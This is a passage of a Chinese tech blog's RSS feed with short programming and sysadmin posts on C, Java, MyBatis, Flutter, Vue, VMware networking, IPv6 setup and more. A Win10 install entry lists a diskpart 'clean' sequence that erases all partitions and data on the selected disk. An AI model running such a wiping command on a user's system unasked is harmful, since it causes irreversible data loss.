      <guid>https://bchobby.github.io/posts/2dc4711ab06ebd943743febf58f34d88/</guid>
      <description>char []定义的是一个字符数组，注意强调是数组。char * 定义的是一个字符串指针，注意强调是指针。 char *s定义了一个char型的指针，它只知道所指向的内存单元，并不知道这个内存单元有多大，所以：&#xA;当char *s = “hello”;后,不能使用s[0]=‘a’；语句进行赋值。这是将提示内存不能为&#34;written&#34;。&#xA;当用char s[]=“hello”;后，完全可以使用s[0]=‘a’；进行赋值，这是常规的数组操作。&#xA;若定义：&#xA;char s[] = &#34;hello&#34;; char *p = s; 也可以使用p[0] = ‘a’;因为这是p ==s，都是指向数组的指针。&#xA;char *s = (char *)malloc(n);//其中n为要开辟空间的大小 相当于&#xA;char s[n]; #include &amp;lt;stdio.h&amp;gt; int main(int argc, char* argv[]) { char* buf1 = &#34;abcd1234&#34;; char buf2[] = &#34;abcd1234&#34;; printf(&#34;size of buf1: %d\n&#34;, sizeof(buf1)); printf(&#34;size of buf2: %d\n&#34;, sizeof(buf2)); printf(&#34;长度为：%d %d\n&#34;, strlen(buf1), strlen(buf2)); return 0; size of buf1: 4</description>
    </item>
    <item>
      <title>IDA  F5  汇编转C的使用</title>
      <link>https://bchobby.github.io/posts/fd0635d89ecc078f245814e2a4a2d8e9/</link>
      <pubDate>Fri, 14 Jun 2019 03:41:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd0635d89ecc078f245814e2a4a2d8e9/</guid>
      <description>我版本是IDA 68 很多人说按F5，我要是能只按F5就能用，还用发帖？百度了十几个结果一个说清楚都没有。&#xA;正确用法是这样：你按F5的同时，注意是同时，双击你选择程序。</description>
    </item>
    <item>
      <title>form-data&amp;mock&amp;跨域</title>
      <link>https://bchobby.github.io/posts/154b85ce171a47f4142fc4633f3935cc/</link>
      <pubDate>Thu, 13 Jun 2019 23:08:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/154b85ce171a47f4142fc4633f3935cc/</guid>
      <description>param获取路由里面的参数，query获取问号后面的参数&#xA;chalk包自定义字体颜色&#xA;form-data文件处理 input type=file上传文件， 要取到文件内容应该在dom选择后面加上.files[0]&#xA;formidable 因为express本身不能接收formdata，所以需要这个包(或者multer)来处理文件上传&#xA;form-data前端处理&#xA;const avatar = document.querySelector(&#34;#avatar&#34;).files[0]; //把文件组合成ajax需要的数据要用到form-data //FormData是一个对象，用于ajax上传文件 const data = new FormData(); //使用append方法添加字段 //append第一个参数为后端所需要的参数名 data.append(&#39;avatar&#39;,avatar); //这里添加除了文件之外的其它字段 data.append(&#39;name&#39;,&#39;tom&#39;); //使用fetch处理请求 fetch(&#39;/api/v1/upload&#39;,{ method:&#39;post&#39;, body:data }) .then(response =&amp;gt; response.json()) .then(resp =&amp;gt; { if(resp.code === 200){ console.log(resp); avatarImg.setAttribute(&#39;src&#39;,resp.data.url); } }) form-data路由处理&#xA;router.post(&#39;/upload&#39;,(req,res,next)=&amp;gt;{ const form = new formidable.IncomingForm(); //设置上传目录，express的静态资源目录 form.uploadDir = path.join(process.cwd(),&#39;public/uploads&#39;); //保持文件后缀 form.keepExtensions = true; //解析请求 form.parse(req, function(err, fields, files) { //fields是除文件外的其它字段，files是文件，err是错误信息 //实际在后端工作时，还会去判断fields里面是否有关于权限的字段，比如token if(files){ //files.avatar.path为图片的路径 res.json({ code:200, data:{ errMsg: &#39;上传成功&#39;, //extname获取文件扩展名，basename获取文件全部名字 url: &#39;/uploads/&#39; + path.</description>
    </item>
    <item>
      <title>notepad&#43;&#43;一键编译运行C语言</title>
      <link>https://bchobby.github.io/posts/c5469d1a84068aeb8615b7c109f774dc/</link>
      <pubDate>Thu, 13 Jun 2019 22:13:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5469d1a84068aeb8615b7c109f774dc/</guid>
      <description>第一步：写入c代码 #include&amp;lt;stdio.h&amp;gt; int main() {&#x9;printf(&#34;hello world&#34;); return 0;&#x9;} 第二步：按F5运行进行宏定义 cmd /k gcc -o &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &#34;$(FULL_CURRENT_PATH)&#34; &amp;amp;&amp;amp; CLS &amp;amp;&amp;amp; &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &amp;amp; PAUSE &amp;amp; EXIT&#xA;按下回车即可出结果选择保存后可以选择一个快捷键，下次直接按下快捷键即可完美运行！ 第三步：完美运行 补充 编译：&#xA;cmd /k gcc -Wall -o &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &#34;$(FULL_CURRENT_PATH)&#34; &amp;amp; PAUSE &amp;amp; EXIT运行：&#xA;cmd /k &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &amp;amp; PAUSE &amp;amp; EXIT 关于脚本行：cmd /k gcc -o &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &#34;$(FULL_CURRENT_PATH)&#34; &amp;amp;&amp;amp; CLS &amp;amp;&amp;amp; &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &amp;amp; PAUSE &amp;amp; EXIT&#xA;cmd /k是弹出cmd窗口并执行后续指令。&amp;amp;和&amp;amp;&amp;amp;表示连接作用，说明有多行指令合为一行。&#xA;gcc -o “$(CURRENT_DIRECTORY)$(NAME_PART).exe” “$(FULL_CURRENT_PATH)” 编译生成.exe文件，输出源文件所在目录。注意这里需要有引号，目的是为了在目录及文件名存在空格的情况下也能够正常运行。&#xA;&amp;amp;&amp;amp; CLS 清屏。&amp;amp;&amp;amp;的意义在于，前面的语句出现错误，将不会执行该句。</description>
    </item>
    <item>
      <title>MyBatis中用到的设计模式</title>
      <link>https://bchobby.github.io/posts/a58aef24060186cb1ab561a9f8012338/</link>
      <pubDate>Thu, 13 Jun 2019 18:24:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a58aef24060186cb1ab561a9f8012338/</guid>
      <description>面试官:“谈谈MyBatis中都用到了那些设计模式?”。 疯狂的蚂蚁 JavaGuide 本文转载自: https://dwz.cn/KFgol1De 由JavaGuide整理排版。&#xA;虽然我们都知道有26个设计模式，但是大多停留在概念层面，真实开发中很少遇到，Mybatis源码中使用了大量的设计模式，阅读源码并观察设计模式在其中的应用，能够更深入的理解设计模式。&#xA;目录&#xA;面试官:“谈谈MyBatis中都用到了那些设计模式?”。&#xA;1、Builder 模式&#xA;2、工厂模式&#xA;3、单例模式&#xA;4、代理模式&#xA;5、组合模式&#xA;6、模板方法模式&#xA;7、适配器模式&#xA;8、装饰者模式&#xA;9、迭代器模式&#xA;参考资料&#xA;Mybatis至少遇到了以下的设计模式的使用：&#xA;Builder模式 :&#xA;例如 SqlSessionFactoryBuilder、XMLConfigBuilder、XMLMapperBuilder、XMLStatementBuilder、CacheBuilder；&#xA;工厂模式 :&#xA;例如SqlSessionFactory、ObjectFactory、MapperProxyFactory；&#xA;单例模式 :例如ErrorContext和LogFactory；&#xA;代理模式 :Mybatis实现的核心，比如MapperProxy、ConnectionLogger，用的jdk的动态代理；还有executor.loader包使用了cglib或者javassist达到延迟加载的效果；&#xA;组合模式 :例如SqlNode和各个子类ChooseSqlNode等；&#xA;模板方法模式 : 例如BaseExecutor和SimpleExecutor，还有BaseTypeHandler和所有的子类例如IntegerTypeHandler；&#xA;适配器模式 : 例如Log的Mybatis接口和它对jdbc、log4j等各种日志框架的适配实现；&#xA;装饰者模式 : 例如cache包中的cache.decorators子包中等各个装饰者的实现；&#xA;迭代器模式 : 例如迭代器模式PropertyTokenizer；&#xA;接下来挨个模式进行解读，先介绍模式自身的知识，然后解读在Mybatis中怎样应用了该模式。&#xA;1、Builder 模式 Builder模式的定义是“将一个复杂对象的构建与它的表示分离，使得同样的构建过程可以创建不同的表示。”，它属于创建类模式，一般来说，如果一个对象的构建比较复杂，超出了构造函数所能包含的范围，就可以使用工厂模式和Builder模式，相对于工厂模式会产出一个完整的产品，Builder应用于更加复杂的对象的构建，甚至只会构建产品的一个部分。《effective-java》中第2条也提到：遇到多个构造器参数时，考虑用构建者(Builder)模式。&#xA;Builder模式&#xA;在Mybatis环境的初始化过程中，SqlSessionFactoryBuilder会调用XMLConfigBuilder读取所有的MybatisMapConfig.xml和所有的*Mapper.xml文件，构建Mybatis运行的核心对象Configuration对象，然后将该Configuration对象作为参数构建一个SqlSessionFactory对象。&#xA;其中XMLConfigBuilder在构建Configuration对象时，也会调用XMLMapperBuilder用于读取*.Mapper文件，而XMLMapperBuilder会使用XMLStatementBuilder来读取和build所有的SQL语句。&#xA;在这个过程中，有一个相似的特点，就是这些Builder会读取文件或者配置，然后做大量的XpathParser解析、配置或语法的解析、反射生成对象、存入结果缓存等步骤，这么多的工作都不是一个构造函数所能包括的，因此大量采用了Builder模式来解决。&#xA;对于builder的具体类，方法都大都用build*开头，比如SqlSessionFactoryBuilder为例，它包含以下方法：&#xA;SqlSessionFactoryBuilder&#xA;即根据不同的输入参数来构建SqlSessionFactory这个工厂对象。&#xA;2、工厂模式 在Mybatis中比如SqlSessionFactory使用的是工厂模式，该工厂没有那么复杂的逻辑，是一个简单工厂模式。&#xA;简单工厂模式(Simple Factory Pattern)：又称为静态工厂方法(Static Factory Method)模式，它属于类创建型模式。在简单工厂模式中，可以根据参数的不同返回不同类的实例。简单工厂模式专门定义一个类来负责创建其他类的实例，被创建的实例通常都具有共同的父类。&#xA;简单工厂模式&#xA;SqlSession可以认为是一个Mybatis工作的核心的接口，通过这个接口可以执行执行SQL语句、获取Mappers、管理事务。类似于连接MySQL的Connection对象。&#xA;SqlSessionFactory&#xA;可以看到，该Factory的openSession（）方法重载了很多个，分别支持autoCommit、Executor、Transaction 等参数的输入，来构建核心的SqlSession对象。</description>
    </item>
    <item>
      <title>Python 去除字符串中的空行</title>
      <link>https://bchobby.github.io/posts/ccfed1083c9eefc0e26c8f88e1d2ac1a/</link>
      <pubDate>Thu, 13 Jun 2019 16:57:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ccfed1083c9eefc0e26c8f88e1d2ac1a/</guid>
      <description>Python 去除字符串中的空行 mystr = &#39;adfa\n\n\ndsfsf&#39; print(&#34;&#34;.join([s for s in mystr.splitlines(True) if s.strip()])) 转载于:https://www.cnblogs.com/ibingshan/p/11017670.html</description>
    </item>
    <item>
      <title>打开SQL Server 配置服务器时出现问题“无法连接到WMI提供程序。你没有权限或者该服务器无法访问...”的解决办法</title>
      <link>https://bchobby.github.io/posts/e811ac7c899c70cfebe283e7794d91b6/</link>
      <pubDate>Thu, 13 Jun 2019 16:30:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e811ac7c899c70cfebe283e7794d91b6/</guid>
      <description>一、检查一下 windows下的system32 中是否有framedyn.dll这个系统文件，如果没有到system32 下的wbem文件中拷贝framedyn.dll到system32 目录下，若System32文件夹下有framedyn.dll，而wbem文件中却没有，于是拷贝framedyn.dll到了wbem中（有可能没有作用）。&#xA;二、在系统运行中输入如下命令：&#xA;运行，cmd然后输入命令 （以管理员身份运行）&#xA;mofcomp.exe &#34;C:\Program Files (x86)\Microsoft SQL Server\100\Shared\sqlmgmproviderxpsp2up.mof&#34;&#xA;这样就可以运行SQL Server 配置服务器了。</description>
    </item>
    <item>
      <title>Flutter 使用中的版本冲突问题</title>
      <link>https://bchobby.github.io/posts/9c2300706dff9c46eff144192213b472/</link>
      <pubDate>Thu, 13 Jun 2019 15:42:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c2300706dff9c46eff144192213b472/</guid>
      <description>目录&#xA;问题&#xA;1、bmob的版本与 dio ^2.1.0 冲突&#xA;2、AndroidX 版本问题&#xA;问题 1、bmob的版本与 dio ^2.1.0 冲突 Flutter 开发可以使用Bmob的数据作为测试使用，具体的使用方法参照Bmob的文档，本文只记录部分问题的解决方式！&#xA;Bmob flutter 文档地址 http://doc.bmob.cn/data/flutter/&#xA;没有什么好的方法 目前 bmob 官方的方法是基于 dio ^ 1.0.12 的 如果不想更改 自己项目里的dio的版本，那么只能下载 Bmob提供的源码，我们对源码的 dio版本修改成我们需要的版本。&#xA;下面放上我修改后的版本的bmob的源码&#xA;链接：https://pan.baidu.com/s/1v0pWe6VDyh6DSxeEFuTgdA&#xA;提取码：6yv2&#xA;需要在 pubspec.yaml 文件中添加以下依赖&#xA;dependencies 下面添加：&#xA;dio: ^2.1.0 cupertino_icons: ^0.1.2 flutter_spinkit: ^1.0.0 json_annotation: ^2.0.0 web_socket_channel: ^1.0.12 dev_dependencies 下面添加 build_runner: ^1.0.0 json_serializable: ^2.0.0 注意缩进格式，参考下图&#xA;2、AndroidX 版本问题 在开发中部分版本需要使用到 AndroidX 这个时候会引发一系列的版本冲突。例如 appcompat 与 core 的版本问题。示例如下：&#xA;Execution failed for task &#39;:app:preDebugBuild&#39;.</description>
    </item>
    <item>
      <title>oracle启动时输入sqlplus  / as sysdba命令时需要输入用户名密码</title>
      <link>https://bchobby.github.io/posts/cf386ecf15f2c57c29998d1b695ee7a9/</link>
      <pubDate>Thu, 13 Jun 2019 11:08:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf386ecf15f2c57c29998d1b695ee7a9/</guid>
      <description>oracle启动时输入sqlplus / as sysdba命令时需要输入用户名密码，处理方式为使用oracle账号执行&#xA;su oracle&#xA;sqlplus / as sysdba</description>
    </item>
    <item>
      <title>使用Keepalived实现MySQL主从高可用</title>
      <link>https://bchobby.github.io/posts/b88375d996bdbd540aa541c49568b1ad/</link>
      <pubDate>Thu, 13 Jun 2019 10:53:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b88375d996bdbd540aa541c49568b1ad/</guid>
      <description>初次使用keepalived做ip漂移小问题有很多，搜索引擎基本都解决了。&#xA;只有宿主机可以ping同虚拟ip。，其他机器ping不同。这时候要把虚拟ip和真实的ip放到同一网段，如果还不行 请运维人员解除网卡和ip的绑定 这个消耗了我很多时间，结果是网络环境的问题，排查问题可以参考，https://blog.csdn.net/charthyf/article/details/81456872&#xA;安装keepalived以及ip漂移：&#xA;参考文章：&#xA;https://blog.csdn.net/wzy0623/article/details/80916567&#xA;https://blog.csdn.net/yabingshi_tech/article/details/50721841</description>
    </item>
    <item>
      <title>通过java连接ftp下载指定目录下的所有文件，过滤掉临时文件。</title>
      <link>https://bchobby.github.io/posts/d28869a047ec447d39c839f269f3af64/</link>
      <pubDate>Thu, 13 Jun 2019 10:28:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d28869a047ec447d39c839f269f3af64/</guid>
      <description>通过java连接ftp下载指定目录下的所有文件，过滤掉临时文件。 采用递归的方式。&#xA;package com.qxj.word.timer;&#xA;import java.io.File;&#xA;import java.io.FileOutputStream;&#xA;import java.io.IOException;&#xA;import java.text.SimpleDateFormat;&#xA;import java.util.Date;&#xA;import java.util.Properties;&#xA;import org.apache.commons.net.ftp.FTPClient;&#xA;import org.apache.commons.net.ftp.FTPFile;&#xA;import org.apache.commons.net.ftp.FTPReply;&#xA;/*******************************************************************************&#xA;功能说明: 从ftp服务器指定目录复制文件到本地指定路径&#xA;@author qianshu&#xA;@time 2012-6-25&#xA;******************************************************************************/&#xA;public class FtpDownFiles {&#xA;private FTPClient ftpClient;&#xA;public FtpDownFiles() {&#xA;this.ftpClient = new FTPClient();&#xA;}&#xA;/**&#xA;功能说明：通过递归实现ftp目录文件与本地文件同步更新@param ftpfilepath 当前ftp目录 @param localpath 当前本地目录 */&#xA;public void ftpDownFiles(String ftpfilepath, String localpath) {&#xA;try { String load1 = ftpfilepath; FTPFile[] ff = getFileDir(load1); //System.</description>
    </item>
    <item>
      <title>Win10重装系统提示：在efi系统上windows只能安装到gpt磁盘</title>
      <link>https://bchobby.github.io/posts/677ecd9038d19930b8adce489f8a811c/</link>
      <pubDate>Wed, 12 Jun 2019 09:37:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/677ecd9038d19930b8adce489f8a811c/</guid>
      <description>在重装系统的过程中遇到问题，提示信息是：在efi系统上windows只能安装到gpt磁盘。如下图所示。&#xA;当选中安装的系统盘时，提示Windows无法安装到这个磁盘，选中的磁盘具有MBR分区表。在EFI系统上，Windows只能安装到GPT磁盘。主要是由于BIOS方式对应MBR分区表；EFI方式则对应GPT分区。所以主要有两种解决方法：&#xA;1、让启动U盘以传统的BIOS方式启动来安装。&#xA;2、将电脑的系统盘由MBR修改为GPT。&#xA;下面说一下解决方法：&#xA;方法一：直接将启动U盘里的【efi】整个文件和【bootmgr.efi】文件删除后，再安装即可。&#xA;方法二：将系统盘由MBR格式修改为GPT格式。&#xA;1、在如下的Win10安装界面，按Shift+F10&#xA;2、将出现如下命令提示符窗口&#xA;3、在命令提示符窗口依次执行如下命令：&#xA;输入：diskpart 命令后，按enter键，进入到 DISKPART 模式。&#xA;输入：list disk 命令后，按enter键，查看电脑的硬盘。编号0，表示电脑的第一块硬盘；编号2，表示电脑的第二块硬盘；........。根据电脑的硬盘数量不同显示不同。&#xA;输入：select disk 0 命令后，按enter键，表示选中第一块硬盘。（select disk x 命令中的x，表示选中的硬盘编号）。&#xA;输入：clean 命令清除选中硬盘上的所有分区和数据。&#xA;执行：convert gpt 命令将选中的硬盘转换成GPT分区表格式。&#xA;输入：exit 命令退出 DISKPART 模式。&#xA;输入：exit 命令退出命令提示符模式。&#xA;4、然后再继续进行分区，安装即可。也可以只建立一个主分区，等系统安装完成后再进行分区。</description>
    </item>
    <item>
      <title>VMware中设置Ubuntu静态IP并可上网</title>
      <link>https://bchobby.github.io/posts/d0f6b0a5d69904eee68b868abb890a54/</link>
      <pubDate>Tue, 11 Jun 2019 10:57:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0f6b0a5d69904eee68b868abb890a54/</guid>
      <description>1、引言 在VMware使用虚拟机过程中遇到的三个问题：&#xA;如何修改虚拟机为静态IP并且生效；设置完静态IP后，无法上网；设置完静态IP且能上网后，宿主机无法ping通虚拟机； 那么，能够实现虚拟机使用静态IP，且虚拟机能够上网以及和宿主机通讯吗？&#xA;答案是肯定的，下面是相关的解决过程。&#xA;2、设置静态IP地址 VMware在默认安装完成之后，会创建三个虚拟的网络环境：&#xA;VMnet0 ：桥接网络VMnet1 ：Host-onlyVMnet8 ：NAT 其中，NAT表示VMWware内安装的Ubuntu将会在一个子网中，VMware通过网络地址转换，通过物理机的IP上网。&#xA;我们选择NAT方式实现Ubuntu的静态IP地址配置。&#xA;2.1 设置VMware 1、打开VMware，在顶部依次选择：编辑 &amp;gt; 虚拟网路编辑器，打开虚拟网路编辑器：&#xA;2、选定VMnet8，然后去掉如下图中的“使用本地DHCP服务奖IP地址分配给虚拟机”：&#xA;这里的子网IP为：192.168.8.0，子网掩码为：255.255.255.0，因此，在Ubuntu中，设置IP地址的时候，可以设置为192.168.8.x，x可以为1~255。&#xA;3、选择“NAT设置”，打开NAT设置面板：&#xA;查看自己的网关地址，例如，此处的网关应该为：192.168.8.2。&#xA;4、最后，在VMWare的虚拟机管理界面，选择Ubuntu的“编辑虚拟机设置”，打开Ubuntu这个虚拟的设置界面。&#xA;选择网络适配器，然后确定网络连接选中的是“自定义”中的VMnet8(NAT模式)：&#xA;VMWare设置完毕。&#xA;2.2 设置Ubuntu网络 打开Terminal，配置静态ip，命令如下：&#xA;sudo vi /etc/network/interfaces 内容改为如下：&#xA;auto lo iface lo inet loopback auto ens33 iface ens33 inet static address 192.168.8.100 netmask 255.255.255.0 gateway 192.168.8.2 注：Ubuntu15开始，网卡名eth0改成了ens33。&#xA;2.3 设置DNS 配置DNS，命令如下：&#xA;sudo vi /etc/resolv.conf 在里面填入DNS，比如阿里的dns：223.5.5.5&#xA;...... nameserver 223.5.5.5 ...... 防止重启Linux后DNS重置，设置永久修改DNS，命令如下：&#xA;vim /etc/resolvconf/resolv.conf.d/base 内容如下：&#xA;nameserver 223.5.5.5 nameserver 8.</description>
    </item>
    <item>
      <title>ipv6在win7系统的通用设置方法</title>
      <link>https://bchobby.github.io/posts/521f194f13b02f27687e2224327a4ffe/</link>
      <pubDate>Tue, 11 Jun 2019 10:56:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/521f194f13b02f27687e2224327a4ffe/</guid>
      <description>https://jingyan.baidu.com/article/2f9b480dfc24bd41cb6cc22f.html&#xA;ipv6的脚步越来越近，我们终有一天要和ipv4 say goodbye，拥抱ipv6。其实目前ipv6在某些领域已经极具实用价值了。相信有些人还是对ipv6的设置有些陌生，网上有些帖子的设置可能仅仅对某一特殊网络环境好用，在其他的网络环境中就失效了。我经过几天摸索，总结出了相对通用的配置方法。。当然，还是有瑕疵，移动路由器组建的内网环境，貌似无法使用。这个是网络供应商的设置问题，本地设置无法突破网络供应商的限制。唯一的选择是ipv6tunnel，不在此讨论，如有人感兴趣，可以单独联系我。&#xA;现在开始配置win7，支持ipv6的访问。其余系统配置方法基本相同，可参考使用&#xA;工具/原料 电脑&#xA;互联网&#xA;方法/步骤 1&#xA;来到“控制面板”，点击“系统和安全”&#xA;2&#xA;选择“windows防火墙”&#xA;3&#xA;选择“还原默认设置”&#xA;4&#xA;点击“还原默认设置”&#xA;5&#xA;点击系统窗口左下角“开始”，在右边选择“运行”，来到运行窗口，输入“gpedit.msc”如图&#xA;运行后跳出组策略编辑器窗口，依次选择“管理模板”-“网络”-“TCP/IP设置”-“IPV6转换技术”如图。右侧所有设置项全部改为“未配置”。关闭窗口&#xA;再次来到“控制面板”，点击“查看网络状态和任务”&#xA;选择“更改适配器设置”&#xA;右键点击您正在使用的网络，如图为“无线网络连接”。您所使用的网络名称可能不同，请注意。&#xA;右键菜单内选择“属性”，来到属性窗口。分别修改TCP/IPV4和TCP/IPV6的属性如下图。&#xA;执行一键批处理开启 IPV6 操作，请将下列命令保存成 IPV6.BAT 文件并执行&#xA;@echo off&#xA;net start &#34;ip helper&#34;&#xA;netsh int ipv6 reset&#xA;netsh int teredo set state default&#xA;netsh int 6to4 set state default&#xA;netsh int isatap set state default&#xA;netsh int teredo set state server=teredo.remlab.net&#xA;netsh int ipv6 set teredo enterpriseclient</description>
    </item>
    <item>
      <title>MFC自定义消息的实现方法----（线程向主对话框发送消息）</title>
      <link>https://bchobby.github.io/posts/ddba8a144081a53d33fae36a0ec71e4b/</link>
      <pubDate>Tue, 11 Jun 2019 10:42:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddba8a144081a53d33fae36a0ec71e4b/</guid>
      <description>在MFC中，我们一边在使用多线程时，经常会遇到在需要调用到新建的控件，此时建议不要在新建的线程中直接调用主对话框的控件，我们可以通过自定义消息，在新建线程中发送并触发主线程进行相关的界面控件操作。&#xA;以Dialog对话框程序为例，添加自定义消息的操作方法可以如下所示：&#xA;1. 在头文件stdafx.h中添加一个自定义消息宏：&#xA;#define WM_USER_MSG_HDL (WM_USER + 1)&#xA;2. 在增加新消息的窗口或对话框类头文件中增加一个回调函数声明，注意要声明为public&#xA;afx_msg LRESULT OnUserMsgHdl(WPARAM wParam, LPARAM lParam);&#xA;3. 在窗口或对话框的cpp文件的BEGIN_MESSAGE_MAP，END_MESSAGE_MAP中增加一行&#xA;ON_MESSAGE(WM_USER_MSG_HDL, OnUserMsgHdl)&#xA;4. 在窗口或对话框的cpp文件中添加回调函数的实现，如：&#xA;//wParam和lParam为sendMessage或PostMessage传递过来的参数 LRESULT ThreadDialog::OnUserMsgHdl(WPARAM wParam, LPARAM lParam) { TRACE(&#34;WM_USER_MSG_HDL message /n&#34;); return 0; } 5. 自定义消息的触发：&#xA;::PostMessage(GetSafeHwnd(), WM_USER_MSG_HDL, 0, 0);&#xA;其中，GetSafeHwnd()得到了一个当前窗口的句柄，此消息将发送给当前窗口，如果想发送消息给其他窗口只需改变这个句柄，前提示目的的窗口也实现了此消息的处理函数。&#xA;举例： //CtestDlg.h #define WM_UPDATE_STATIC (WM_USER + 100) //更新主界面static控件信息 DWORD m_dwThreadID; HANDLE m_hThread; static DWORD TestThread(LPVOID lpParam); afx_msg LRESULT OnUpdateStatic(WPARAM wParam, LPARAM lParam); //添加用户自定义消息 //CtestDlg.cpp BEGIN_MESSAGE_MAP(CtestDlg, CDialogEx)&#x9;ON_MESSAGE(WM_UPDATE_STATIC, &amp;amp;CtestDlg::OnUpdateStatic)&#x9;END_MESSAGE_MAP() void CtestDlg::OnBnClickedButton4() { // TODO: 在此添加控件通知处理程序代码 m_hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)TestThread, this, 0, &amp;amp;m_dwThreadID); } DWORD CtestDlg::TestThread(LPVOID lpParam) { CtestDlg* pInfo = (CtestDlg*)lpParam; ::PostMessage(pInfo-&amp;gt;m_hWnd, WM_UPDATE_STATIC, 0, 0); return false; } LRESULT CtestDlg::OnUpdateStatic(WPARAM wParam, LPARAM lParam) { if (wParam == 0) { GetDlgItem(IDC_STATIC)-&amp;gt;SetWindowText(L&#34;</description>
    </item>
    <item>
      <title>Java多线程超详解</title>
      <link>https://bchobby.github.io/posts/1cd38b70f800d570bb5461e44951e13a/</link>
      <pubDate>Tue, 11 Jun 2019 01:00:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1cd38b70f800d570bb5461e44951e13a/</guid>
      <description>引言 随着计算机的配置越来越高，我们需要将进程进一步优化，细分为线程，充分提高图形化界面的多线程的开发。这就要求对线程的掌握很彻底。&#xA;那么话不多说，今天本帅将记录自己线程的学习。&#xA;程序，进程，线程的基本概念+并行与并发： 程序：是为完成特定任务，用某种语言编写的一组指令的集合，即指一段静态的代码，静态对象。&#xA;进程：是程序的一次执行过程，或是正在运行的一个程序，是一个动态的过程，有它自身的产生，存在和消亡的过程。-------生命周期&#xA;线程：进程可进一步细化为线程，是一个程序内部的一条执行路径&#xA;即：线程《线程（一个程序可以有多个线程）&#xA;程序：静态的代码 进程：动态执行的程序&#xA;线程：进程中要同时干几件事时，每一件事的执行路径成为线程。&#xA;并行：多个CPU同时执行多个任务，比如:多个人同时做不同的事&#xA;并发：一个CPU（采用时间片）同时执行多个任务，比如秒杀平台，多个人做同件事&#xA;线程的相关API //获取当前线程的名字&#xA;Thread.currentThread().getName()&#xA;1.start():1.启动当前线程2.调用线程中的run方法&#xA;2.run():通常需要重写Thread类中的此方法，将创建的线程要执行的操作声明在此方法中&#xA;3.currentThread():静态方法，返回执行当前代码的线程&#xA;4.getName():获取当前线程的名字&#xA;5.setName():设置当前线程的名字&#xA;6.yield():主动释放当前线程的执行权&#xA;7.join():在线程中插入执行另一个线程，该线程被阻塞，直到插入执行的线程完全执行完毕以后，该线程才继续执行下去&#xA;8.stop():过时方法。当执行此方法时，强制结束当前线程。&#xA;9.sleep（long millitime）：线程休眠一段时间&#xA;10.isAlive（）：判断当前线程是否存活&#xA;判断是否是多线程 一条线程即为一条执行路径，即当能用一条路径画出来时即为一个线程&#xA;例：如下看似既执行了方法一，又执行了方法2，但是其实质就是主线程在执行方法2和方法1这一条路径，所以就是一个线程&#xA;public class Sample{ public void method1（String str）{ System.out.println(str); } public void method2(String str){ method1(str); } public static void main(String[] args){ Sample s = new Sample(); s.method2(&#34;hello&#34;); } } 线程的调度 调度策略：&#xA;时间片：线程的调度采用时间片轮转的方式&#xA;抢占式：高优先级的线程抢占CPU&#xA;Java的调度方法：&#xA;1.对于同优先级的线程组成先进先出队列（先到先服务），使用时间片策略&#xA;2.对高优先级，使用优先调度的抢占式策略&#xA;线程的优先级 等级：&#xA;MAX_PRIORITY:10&#xA;MIN_PRIORITY:1</description>
    </item>
    <item>
      <title>idea中常用的for,while循环快捷输入,简单便捷</title>
      <link>https://bchobby.github.io/posts/d59e2f4ba9435814eef70383ce9e2e40/</link>
      <pubDate>Mon, 10 Jun 2019 22:14:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d59e2f4ba9435814eef70383ce9e2e40/</guid>
      <description>目录 总结for循环while循环try 循环 总结 在IntelliJ IDEA中可以输入快捷关键词,生成大段的循环代码块,接下来让我们逐一演示&#xA;for循环 输入itar快捷生产array for代码块 itar ------------------------------- for (int i = 0; i &amp;lt; array.length; i++) { = array[i]; } 输入itco生成 itco ------------------------------- for (Iterator&amp;lt;Map&amp;lt;String, String&amp;gt;&amp;gt; iterator = show.iterator(); iterator.hasNext(); ) { Map&amp;lt;String, String&amp;gt; next = iterator.next(); } 输入iter生成 iter ------------------------------- for (Map&amp;lt;String, String&amp;gt; stringStringMap : show) { } 输入itli生成 itli ------------------------------- for (int i = 0; i &amp;lt; show.size(); i++) { Map&amp;lt;String, String&amp;gt; stringStringMap = show.</description>
    </item>
    <item>
      <title>VUE-使用v-for为每一项动态添加ref</title>
      <link>https://bchobby.github.io/posts/1b0048a296cb973869316811d82cddd4/</link>
      <pubDate>Mon, 10 Jun 2019 13:52:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b0048a296cb973869316811d82cddd4/</guid>
      <description>功能简介：&#xA;1、循环显示9项&#xA;2、点击每一项，每一项字体颜色变蓝，向下和向右分别移动100px&#xA;关键点：&#xA;1、使用v-for，循环加载每一项&#xA;2、使用:ref=&#34;`list${i}`&#34; ，为每一项动态添加ref&#xA;&amp;lt;div id=&#34;app&#34;&amp;gt; &amp;lt;div class=&#34;frame&#34; ref=&#34;frame&#34;&amp;gt; &amp;lt;div v-for=&#34;(item,i) in list&#34; :key=&#34;i&#34; @click=&#34;changeColor(item,i)&#34; :ref=&#34;`list${i}`&#34;&amp;gt;{{item}}&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; 3、点击事件，使用this.$refs[`list${i}`][0] 获取当前元素dom结构&#xA;&amp;lt;script&amp;gt; var vm = new Vue({ el: &#39;#app&#39;, data: { 